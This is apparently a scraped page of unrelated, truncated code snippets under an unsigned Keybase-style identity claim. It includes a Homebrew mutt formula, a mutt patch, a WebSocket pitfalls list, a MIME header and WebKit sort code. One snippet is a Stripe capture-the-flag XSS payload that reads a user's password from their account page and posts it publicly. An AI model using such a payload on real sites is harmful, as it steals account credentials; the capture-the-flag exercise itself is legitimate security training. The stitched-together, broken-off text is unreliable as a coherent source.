Marco Chomut Pewpewarrows

I hereby claim:

To claim this, I am signing this object:

	require "formula"

	# Note: Mutt has a large number of non-upstream patches available for it,
	# some of which conflict with each other. These patches are also not kept
	# up-to-date when new versions of mutt (occasionally) come out.
	# To reduce Homebrew's maintainence burden, new patches are not being
	# accepted for this formula. Mutt power-users are encouraged to copy the
	# formula and modify it locally, adding needed patches.
	class Mutt < Formula
	homepage "http://www.mutt.org/"

	*** mutt-1.5.23-orig/buffy.c 2014-03-12 11:03:44.000000000 -0500
	--- mutt-1.5.23/buffy.c 2014-04-12 15:33:54.000000000 -0500
	***************
	* 161,166 **
	--- 161,209 ----
	}
	}

	+ static int buffy_compare_name(const void a, const void b) {
	+ const BUFFY b1 = (BUFFY * const *) a;

	1. Heroku doesn't support WebSocket
	2. nginx doesn't (until this week) support WebSocket
	3. Your customer's firewall doesn't support WebSocket
	4. Internet Explorer
	5. None of this matters, it will switch to other network transports for you
	6. Web software has things like TCP timeouts. Don't make connectivity assumptions
	7. That doesn't matter either because the client handles reconnection for you
	8. EventMachine
	9. Rack and/or Rails and/or blocking I/O
	10. Memory leaks, which are actually my fault

	$.get('https://level06-2.stripe-ctf.com/user-madrtmdusg/user_info', function(data){
	var password = /Password:<\/th>\s+<td>(.+)<\/td>/.exec(data)[1];
	$('#content').val(password);
	$('#new_post').submit();
	});

	// This library file decides to use ASI everywhere

	var fn = function () {
	//...
	} // semicolon missing at this line


	MIME-Version: 1.0
	From: Site Name <[email protected]>
	To: [email protected]
	Subject: Headline Here
	Content-Type: multipart/alternative;
	boundary="=_eaa18d96c3db1baf4ab107f81e1ad328"

	--=_eaa18d96c3db1baf4ab107f81e1ad328
	Content-Transfer-Encoding: 7bit

	// http://svn.webkit.org/repository/webkit/trunk/Source/JavaScriptCore/runtime/ArrayPrototype.cpp

	// "Min" sort. Not the fastest, but definitely less code than heapsort
	// or quicksort, and much less swapping than bubblesort/insertionsort.
	for (unsigned i = 0; i < length - 1; ++i) {
	JSValue iObj = thisObj->get(exec, i);
	if (exec->hadException())
	return JSValue::encode(jsUndefined());
	unsigned themin = i;
	JSValue minObj = iObj;